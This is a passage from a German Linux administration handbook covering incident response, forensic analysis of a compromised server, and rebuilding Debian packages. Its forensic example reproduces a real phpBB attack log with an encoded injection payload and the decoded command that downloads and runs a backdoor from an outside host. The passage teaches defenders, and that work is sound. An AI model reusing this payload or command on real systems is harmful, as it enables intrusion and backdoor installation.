Ein Sicherheitsaudit ist der Prozess, bei dem der Quellcode einer Software gründlich gelesen und analysiert wird, wobei nach möglichen Sicherheitslücken Ausschau gehalten wird, die er enthalten könnte. Derartige Audits sind gewöhnlich proaktiv und werden durchgeführt, um zu gewährleisten, dass ein Programm gewisse Sicherheitserfordernisse erfüllt.

In der Welt der freien Software besteht im allgemeinen große Wahlfreiheit, und eine Software einer anderen vorzuziehen, sollte eine Entscheidung sein, die auf örtlich gültigen Kriterien beruht. Eine höhere Anzahl von Leistungsmerkmalen bringt auch ein erhöhtes Risiko einer Sicherheitslücke mit sich, die im Code verborgen sein könnte; es kann auch kontraproduktiv sein, das höchst entwickelte Programm zu wählen, und ein besserer Ansatz besteht gewöhnlich darin, das einfachste Programm, das die Erfordernisse erfüllt, auszuwählen.

WÖRTERVERZEICHNIS Zero-Day-Exploit

Eine Zero-Day-Attacke ist kaum zu verhindern; der Begriff beschreibt eine Sicherheitslücke, die den Autoren des Programms noch nicht bekannt ist.

14.5.4. Einen Rechner als Ganzes verwalten

Die meisten Linux-Distributionen installieren standardmäßig eine Reihe von Unix-Diensten und zahlreiche Hilfsprogramme. In vielen Fällen werden diese Dienste und Programme für den eigentlichen Zweck, zu dem der Administrator den Rechner eingerichtet hat, nicht benötigt. Als allgemeine Richtlinie für Sicherheitsfragen gilt, dass nicht benötigte Software möglichst deinstalliert werden sollte. In der Tat macht es keinen Sinn, einen FTP-Server abzusichern, wenn in einem anderen, nicht benutzten Dienst eine Sicherheitslücke dazu ausgenutzt werden kann, Administratorrechte für den ganzen Rechner zu erlangen.

Aus demselben Grund werden Firewalls häufig so konfiguriert, dass sie Zugang nur zu solchen Diensten ermöglichen, die öffentlich zugänglich sein sollen.

Heutige Rechner sind ausreichend leistungsfähig, um mehrere Dienste auf demselben physischen Gerät unterzubringen. Aus ökonomischer Sicht ist eine solche Möglichkeit interessant: nur einen Rechner verwalten, geringerer Energieverbrauch und so weiter. Unter Sicherheitsaspekten kann diese Entscheidung jedoch problematisch sein. Ein einziger kompromittierter Dienst kann Zugang zum ganzen Rechner zur Folge haben, wodurch wiederum die anderen Dienste, die auf demselben Rechner untergebracht sind, gefährdet werden. Diesem Risiko kann entgegengewirkt werden, indem man die Dienste voneinander isoliert. Dies kann entweder durch Virtualisierung erreicht werden (jeder Service wird in einer eigenen virtuellen Maschine betrieben) oder durch SELinux (jeder Dienste-Daemon hat einen passend gestalteten Satz an Berechtigungen).

14.5.5. Benutzer sind Spieler

Spricht man über Sicherheit, so denkt man sogleich an den Schutz vor Angriffen durch anonyme Cracker, die sich irgendwo im Internetdschungel verbergen; eine häufig vergessene Tatsache ist jedoch, dass Risiken auch von innen entstehen können: ein Angestellter, der im Begriff ist, die Firma zu verlassen, könnte sensible Dateien aus wichtigen Projekten herunterladen und an Wettbewerber verkaufen, ein nachlässiger Verkäufer könnte während eines Treffens mit einem potentiellen Neukunden seinen Schreibtisch verlassen, ohne seine Sitzung zu sperren, ein ungeschickter Benutzer könnte versehentlich das falsche Verzeichnis löschen und so weiter.

Die Reaktion auf diese Risiken kann technische Lösungen umfassen: nur die tatsächlich erforderlichen Berechtigungen sollten den Benutzern gewährt werden, und regelmäßige Sicherungskopien sind unabdingbar. In vielen Fällen wird der angemessene Schutz jedoch auch mit einer Unterweisung der Benutzer in der Vermeidung von Risiken verbunden sein.

KURZER BLICK autolog

Das Paket autolog stellt ein Programm bereit, das nach einer einstellbaren Zeitspanne untätige Benutzer selbstständig abschaltet. Es ermöglicht es auch, Benutzerprozesse abzustellen, die nach dem Ende einer Sitzung bestehen bleiben, um so Benutzer daran zu hindern, Daemons zu betreiben.

14.5.6. Physische Sicherheit

Es macht keinen Sinn, die Dienste und Netzwerke abzusichern, wenn die Rechner selbst nicht geschützt sind. Es gehört sich, dass wichtige Daten auf im laufenden Betrieb austauschbaren Platten in einem RAID-System gespeichert sind, da Festplatten irgendwann ausfallen und die Datenverfügbarkeit unabdingbar ist. Aber wenn jeder Pizzalieferant das Gebäude betreten, in den Serverraum schleichen und mit einigen ausgewählten Festplatten davonlaufen kann, ist ein wichtiger Teilbereich der Sicherheit nicht gegeben. Wer kann den Serverraum betreten? Wird der Zugang überwacht? Diese Fragen verdienen Beachtung (und eine Antwort), wenn die physische Sicherheit beurteilt wird.

Zur physischen Sicherheit gehört auch, dass Unfallrisiken wie Brände bedacht werden. Wegen dieses besonderen Risikos ist es gerechtfertigt, die Sicherungsmedien in einem separaten Gebäude zu lagern, oder wenigstens in einem feuersicheren Stahlschrank.

14.5.7. Rechtliche Haftung

Einem Administrator vertrauen seine Nutzer mehr oder weniger vorbehaltlos, genauso wie die Nutzer des Netzwerks im Allgemeinen. Er sollte deshalb jede Nachlässigkeit vermeiden, die von böswilligen Menschen ausgenutzt werden könnte.

Ein Angreifer, der die Kontrolle über Ihren Rechner übernimmt und ihn dann als vorgeschobene Basis („Relais-System“ genannt) benutzt, um von ihm weitere ruchlose Aktivitäten auszuführen, könnte Ihnen gesetzliche Unannehmlichkeiten verursachen, da die angegriffene Seite den Angriff zunächst als von Ihrem System ausgehend sieht, und daher Sie als Angreifer (oder als Komplizen) betrachten wird. In vielen Fällen wird der Angreifer Ihren Server als Relais zur Versendung von Spam benutzen, was keine großen Auswirkungen haben sollte (außer möglicherweise die Registrierung in schwarzen Listen, die Ihre Fähigkeit, legitime E-Mails zu versenden, beschränken könnte), aber dennoch unangenehm wäre. In anderen Fällen können durch Ihren Rechner bedeutendere Störungen verursacht werden, wie zum Beispiel Denial-of-Service-Angriffe. Dies wird manchmal zu Einnahmeverlusten führen, da die berechtigten Dienste nicht verfügbar sein und Daten zerstört werden können; manchmal wird dies auch tatsächliche Kosten verursachen, da die angegriffene Seite rechtliche Schritte gegen Sie einleiten kann. Rechteinhaber können Sie verklagen, wenn eine nicht autorisierte Kopie eines urheberrechtlich geschützten Werkes von Ihrem Server weitergegeben wird, wie auch andere Unternehmen, falls sie aufgrund von Dienstgütevereinbarungen zu Strafzahlungen infolge des Angriffs durch Ihren Rechner verpflichtet sind.

Wenn dies geschieht, genügt es nicht gewöhnlich nicht, seine Unschuld zu beteuern; Sie werden zumindest überzeugende Beweise benötigen, die von einer bestimmten IP-Adresse ausgehende verdächtige Aktivitäten auf Ihrem Rechner zeigen. Dies wird nicht möglich sein, wenn Sie die Empfehlungen dieses Kapitels vernachlässigen und zulassen, dass der Angreifer Zugang zu einem privilegierten Konto (insbesondere Root) erlangt und dies dann dazu benutzt, seine Spuren zu verwischen.

14.6. Umgang mit einem kompromittierten Rechner

Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.

14.6.1. Den Einbruch eines Crackers entdecken und sehen

Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.

Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können, oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache statt des standardmäßigen /usr/sbin/apache2. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit /proc/pid/exe überprüft werden, um zu sehen, welches Programm diesen Prozess zur Zeit gerade ausführt:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Ein unter /var/tmp/ installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.

Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:

eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg installiert sein sollte;

eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;

Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/ voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;

und so weiter.

14.6.2. Den Server vom Netz nehmen

Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk, und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.

Dies ist nur möglich, wenn der Server physisch zugänglich ist. Falls sich der Server im Datencenter eines Hosting-Anbieters am anderen Ende des Landes befindet, oder falls der Server aus einem anderen Grund nicht zugänglich ist, ist es gewöhnlich ratsam, als erstes einige wichtige Informationen zu sammeln (siehe den folgenden Abschnitt), und dann den Server so weit wie möglich zu isolieren, indem möglichst viele Dienste abgeschaltet werden (normalerweise alles außer sshd). Diese Situation ist dennoch weiterhin gefährlich, da nicht ausgeschlossen werden kann, dass der Angreifer in gleicher Weise wie der Administrator SSH-Zugriff hat; dies macht es schwieriger, den Rechner zu „reinigen“.

14.6.3. Alles aufbewahren, was als Beweis dienen könnte

Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.

Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (netstat -tupan für Netzwerkverbindungen, ps auxf für eine Liste der Prozesse, ls -alR /proc/[0-9]* für einige zusätzliche Informationen über laufende Programme), und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.

VORSICHT Analyse unter Spannung

Obwohl es verlockend sein mag, das System zu analysieren, während es läuft, sollte dies unterlassen werden, vor allem, wenn der Server physisch nicht erreichbar ist: Sie können einfach den Programmen, die zur Zeit auf dem kompromittierten System installiert sind, nicht trauen. Es ist gut möglich, dass ein unterwanderter ps-Befehl einige Prozesse verbirgt, oder dass ein unterwanderter ls-Befehl Dateien verbirgt; manchmal ist sogar der Kernel kompromittiert!

Falls eine solche Analyse „unter Spannung“ dennoch notwendig ist, sollte darauf geachtet werden, nur bekanntermaßen einwandfreie Programme zu benutzen. Eine gute Möglichkeit dies zu tun besteht darin, eine Rettungs-CD mit einwandfreien Programmen zu verwenden oder eine schreibgeschützte Netzwerkfreigabe. Jedoch könnten selbst diese Gegenmaßnahmen nicht ausreichend sein, falls der Kernel selbst kompromittiert ist.

Sobald die „dynamischen“ Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl sync ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie dd kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (zum Beispiel mit dem sehr praktischen Hilfsprogramm nc). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.

14.6.4. Neu installieren

Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem Hintertüren), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer benutzt wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.

Es ist nicht immer einfach, einen entfernten Server neu zu installieren; hierzu kann es erforderlich sein, Unterstützung vom Hosting-Unternehmen zu bekommen, da nicht alle derartigen Unternehmen automatische Reinstallationssysteme anbieten. Es sollte darauf geachtet werden, den Rechner nicht von Sicherheitskopien zu reinstallieren, die nach dem Beginn der Kompromittierung gezogen worden sind. Idealerweise sollten nur Daten wiederhergestellt werden, wohingegen die eigentliche Software von den Installationsmedien neu installiert wird.

14.6.5. Forensische Analyse

Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.

Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:

.bash_history-Dateien stellen häufig eine sehr interessante Lektüre dar;

das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;

der Befehl strings hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;

die Protokolldateien in /var/log/ ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;

Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.

Einige dieser Arbeitsgänge können durch spezialisierte Software erleichtert werden. So ist insbesondere The Coroner Toolkit (im Paket tct) eine Sammlung derartiger Werkzeuge. Es umfasst mehrere Hilfsprogramme; unter ihnen kann grave-robber Daten eines laufenden kompromittierten Systems sammeln, lazarus extrahiert häufig interessante Daten aus nicht zugewiesenen Bereichen einer Platte, und pcat kann den Speicher, der von einem Prozess verwendet wird, kopieren; andere Datengewinnungsprogramme sind ebenfalls enthalten.

Das Paket sleuthkit stellt einige weitere Hilfsprogramme zur Analyse eines Dateisystems bereit. Ihre Benutzung wird durch die grafische Schnittstelle Autopsy Forensic Browser (im Paket autopsy) erleichtert.

14.6.6. Das Angriffsszenarium wiederherstellen

Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.

Das folgende Protokoll ist ein Auzug aus einer Apache access.log-Datei:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Dieses Beispiel entspricht einer alten Sicherheitslücke in phpBB.

→ http://secunia.com/advisories/13239/

→ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). In der Tat wurde eine bd-Datei in /tmp/ gefunden. Wenn man strings /mnt/tmp/bd ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting.... Dies sieht wirklich nach einer Hintertür aus.

Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.

Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt und /tmp/loginx. Lässt man diese Dateien durch strings laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.

In diesem Beispiel wurde der gesamte Einbruch rekonstruiert, und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist, und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.

Chapter 15. Ein Debian-Paket erstellen

Für einen Administrator, der regelmäßig mit Debian-Paketen umgeht, ist es durchaus normal, dass er eines Tages das Bedürfnis hat, seine eigenen Pakete zu erstellen oder ein vorhandenes Paket zu ändern. In diesem Kapitel sollen die häufigsten Fragen zu diesem Thema beantwortet und die Komponenten vorgestellt werden, die erforderlich sind, um die Vorteile der Debian-Infrastruktur möglichst gut zu nutzen. Mit etwas Glück könnten Sie, nachdem Sie sich an lokalen Paketen versucht haben, sogar das Bedürfnis verspüren, weiter zu gehen und sich am Debian-Projekt selbst zu beteiligen!

15.1. Ein Paket aus seinen Quellen neu erstellen

Unter verschiedenen Umständen ist es erforderlich, ein Binärpaket neu zu erstellen. In manchen Fällen benötigt der Administrator eine Programmfunktion, für die das Programm mit einer bestimmten Kompilierungsoption aus den Quellen kompiliert werden muss; in anderen Fällen ist das Programm, das in der installierten Debian-Version gebündelt ist, nicht aktuell genug. Im zweiten Fall erstellt der Administrator gewöhnlich ein aktuelleres Paket aus einer neueren Debian-Version wie zum Beispiel Testing oder sogar Unstable, so dass dieses neue Paket dann in seiner Stable-Distribution läuft; dieser Vorgang wird „Backporting“ genannt. Wie immer sollte man, bevor man eine solche Aufgabe beginnt, überprüfen, ob sie nicht bereits erledigt worden ist. Hierzu kann man auf der Seite backports.debian.org nachsehen.

15.1.1. Die Quellen besorgen

Die Neuerstellung eines Debian-Pakets beginnt damit, dass man seinen Quellcode besorgt. Am einfachsten geschieht dies mit dem Befehl apt-get source quellpaket-name. Der Befehl benötigt eine deb-src-Zeile in der Datei /etc/apt/sources.list und aktuelle Indexdateien (d.h. apt-get update). Diese Bedingungen sollten bereits erfüllt sein, wenn Sie den Anweisungen in dem Kapitel über die APT-Konfigurierung ( siehe Section 6.1, “Befüllen der sources.list Datei”) gefolgt sind. Beachten Sie jedoch, dass Sie die Quellpakete der Debian-Version, die in der Zeile deb-src genannt ist, herunterladen. Falls Sie eine andere Version benötigen, müssen Sie sie eventuell per Hand von einem Debian-Spiegelserver oder von der Webseite herunterladen. Hierbei müssen zwei oder drei Dateien abgerufen werden mit den Dateiendungen *.dsc - für Debian Source Control, *.tar.comp und manchmal *.diff.gz oder *.debian.tar.comp - wobei comp je nach verwendetem Komprimierungsprogramm durch gz, bz2, lzma oder xz ersetzt wird. Anschließend wird der Befehl dpkg-source -x datei.dsc ausgeführt. Falls die Datei *.dsc direkt an der vorgegebenen URL zugänglich ist, gibt es einen noch einfacheren Weg, sie zu besorgen, und zwar mit dem Befehl dget URL. Dieser Befehl (der sich in dem Paket devscripts befindet) ruft die *.dsc-Datei an der angegebenen Adresse ab, analysiert dann ihren Inhalt und besorgt selbstständig die Datei oder die Dateien, auf die darin verwiesen wird. Mit der Option -x wird das Quellpaket nach dem Herunterladen sogar vor Ort entpackt.

15.1.2. Änderungen vornehmen

Die Quellen des Pakets sind nun in einem Verzeichnis verfügbar, das nach dem Quellpaket und seiner Version benannt ist (zum Beispiel samba-3.0.24); hier werden wir unsere eigenen Veränderungen vornehmen.

Als erstes wird die Paket-Versionsnummer geändert, so dass sich die neu erstellten Pakete von den ursprünglichen, von Debian bereitgestellten Paketen unterscheiden lassen. Gesetzt den Fall, dass die aktuelle Version 3.0.24-6 ist, so können wir Version 3.0.24-6.falcot1 erstellen, wodurch der Ursprung des Pakets eindeutig angezeigt wird. Hierdurch wird die Paket-Versionsnummer gegenüber der von Debian bereitgestellten erhöht, so dass sich das Paket leicht als eine Aktualisierung des Originalpakets installieren lässt. Eine derartige Änderung wird am besten mit dem Befehl dch (Debian CHangelog) aus dem Paket devscripts mit einem Aufruf wie dch -v 3.0.24-6.falcot1 vorgenommen. Hierdurch wird ein Texteditor aufgerufen (sensible-editor - dies sollte Ihr bevorzugter Editior sein, falls er in den Umgebungsvariablen VISUAL oder EDITOR aufgeführt ist, anderenfalls der voreingestellte Editor), um die Unterschiede dokumentieren zu können, die diese Neuerstellung bewirkt. Dieser Editor zeigt uns, dass dch in der Tat die Datei debian/changelog geändert hat.

Wenn die Erstellungsoptionen geändert werden müssen, werden diese Änderungen in der Datei debian/rules vorgenommen, die die Schritte des Erstellungsprozesses steuert. In den einfachsten Fällen sind die Zeilen, die die anfängliche Konfiguration ((./configure …) oder die tatsächliche Erstellung ($(MAKE) … oder make …) betreffen, leicht zu finden. Falls diese Befehle nicht ausdrücklich aufgerufen werden, sind sie möglicherweise ein Nebeneffekt eines anderen ausdrücklichen Befehls. In diesem Fall sehen Sie bitte in dessen Dokumentation nach, um mehr darüber herauszufinden, wie das voreingestellte Verhalten geändert werden kann.

Je nach den vor Ort vorgenommenen Veränderungen der Pakete kann auch eine Aktualisierung der Datei debian/control, die eine Beschreibung der erzeugten Pakete enthält, erforderlich sein. Diese Datei enthält insbesondere Build-Depends-Zeilen, die die Liste der Abhängigkeiten überwachen, die zum Zeitpunkt der Paketerstellung erfüllt sein müssen. Sie beziehen sich häufig auf Versionen von Paketen, die in der Distribution enthalten sind, aus der das Quellpaket stammt, jedoch in der Distribution, die für die Neuerstellung verwendet wird, möglicherweise nicht vorhanden sind. Es gibt kein automatisches Verfahren um herauszufinden, ob eine Abhängigkeit tatsächlich besteht, oder ob sie nur angegeben wird, um sicherzustellen, dass die Neuerstellung nur mit der jüngsten Version einer Programmbibliothek unternommen wird - dies ist die einzig verfügbare Möglichkeit, einen Autobuilder dazu zu zwingen, während einer Neuerstellung eine bestimmte Paketversion zu verwenden. Aus diesem Grund benutzen Debian-Betreuer häufig streng versionierte Erstellungsabhängigkeiten.

Wenn Sie mit Sicherheit wissen, dass diese Erstellungsabhängigkeiten zu streng sind, haben Sie die Wahl, sie vor Ort zu lockern. Die Lektüre der Dateien, die den normalen Weg zur Erstellung des Programms dokumentieren - diese Dateien sind häufig INSTALL benannt - hilft Ihnen, die passenden Abhängigkeiten herauszufinden. Idealerweise sollten alle Abhängigkeiten durch die Distribution, die für die Neuerstellung verwendet wird, erfüllt werden. Wenn dies nicht der Fall ist, beginnt ein rekursiver Prozess, bei dem die im Build-Depends-Feld genannten Pakete zurückportiert werden müssen, bevor es das Zielpaket kann. Es kann sein, dass einige Pakete nicht zurückportiert werden müssen und während des Erstellungsprozesses in ihrem gegenwärtigen Zustand installiert werden können (ein namhaftes Beispiel ist debhelper). Beachten Sie, dass der Prozess des Zurückportierens sehr schnell kompliziert werden kann, wenn Sie nicht aufpassen. Daher sollten Zurückportierungen so gering wie möglich gehalten werden.

TIPP Build-Depends installieren

apt-get ermöglicht es, alle Pakete zu installieren, die in den Build-Depends-Feldern eines Quellpakets erwähnt sind, das in einer Distribution vorhanden ist, die in der deb-src-Zeile der Datei /etc/apt/sources.list aufgeführt ist. Dies geschieht einfach durch Ausführung des Befehls apt-get build-dep quellpaket.

15.1.3. Die Neuerstellung beginnen

Wenn alle erforderlichen Veränderungen auf die Quellen angewendet worden sind, können wir damit beginnen, das eigentliche Binärpaket (die .deb-Datei) zu erstellen. Der gesamte Prozess wird durch den Befehl dpkg-buildpackage gesteuert.

Example 15.1. Ein Paket neu erstellen

$ dpkg-buildpackage -us -uc [...]

HILFSPROGRAMM fakeroot

Im Wesentlichen besteht der Prozess der Paketerstellung einfach darin, eine Reihe von bestehenden (oder erstellten) Dateien in einem Archiv zusammenzufassen; die meisten dieser Dateien werden in diesem Archiv im Besitz von root stehen. Das ganze Paket unter diesem Benutzer zu erstellen, würde jedoch zu erhöhten Risiken führen; glücklicherweise kann dies mit dem Befehl fakeroot vermieden werden. Dieses Hilfsprogramm kann verwendet werden, um ein Programm auszuführen und ihm dabei den Eindruck zu vermitteln, dass es als root läuft und Dateien mit beliebigen Eigentumsrechten und Berechtigungen erstellt. Wenn das Programm das Archiv erstellt, das zum Debian-Paket werden wird, wird es dazu gebracht, ein Archiv zu erstellen, das Dateien enthält, die beliebigen Eigentümern gehören, einschließlich root. Dies ist so praktisch, dass dpkg-buildpackage bei der Paketerstellung fakeroot standardmäßig verwendet.

Man beachte, dass das Programm nur dazu gebracht wird zu „glauben“, dass es unter einem privilegierten Konto läuft, und dass der Prozess in Wirklichkeit als der Benutzer läuft, der den Befehl fakeroot programm ausführt (und dass die Dateien in Wirklichkeit mit den Berechtigungen dieses Benutzers erstellt werden). Zu keiner Zeit erlangt es tatsächlich Root-Privilegien, die es missbrauchen könnte.

Der oben stehende Befehl kann scheitern, wenn die Build-Depends-Felder nicht aktualisiert worden sind, oder wenn die dazugehörigen Pakete nicht installiert sind. In diesem Fall ist es möglich, diese Kontrolle außer Kraft zu setzen, indem die Option -d an dpkg-buildpackage gegeben wird. Das ausdrückliche Ignorieren dieser Abhängigkeiten erhöht jedoch das Risiko, dass der Erstellungsprozess in einem späteren Stadium scheitert. Oder schlimmer noch, das Paket wird scheinbar richtig erstellt, läuft aber nicht ordnungsgemäß: einige Programme deaktivieren automatisch einige ihrer Leistungsmerkmale, wenn eine erforderliche Bibliothek zum Zeitpunkt der Erstellung nicht verfügbar ist.

In den meisten Fällen benutzen Debian-Entwickler ein übergeordnetes Programm, wie zum Beispiel debuild; dieses führt dpkg-buildpackage wie üblich aus, fügt aber den Aufruf eines Programms hinzu, das zahlreiche Tests ausführt, um das erstellte Paket im Hinblick auf das Debian-Regelwerk zu überprüfen. Dieses Skript bereinigt auch die Umgebung, so dass lokale Umgebungsvariablen die Paketerstellung nicht „verschmutzen“. Der Befehl debuild ist eines der Hilfsprogramme in der devscripts-Suite, die eine gewisse Konsistenz und Konfiguration gemeinsam haben und so die Aufgabe des Betreuers einfacher machen.

KURZER BLICK pbuilder

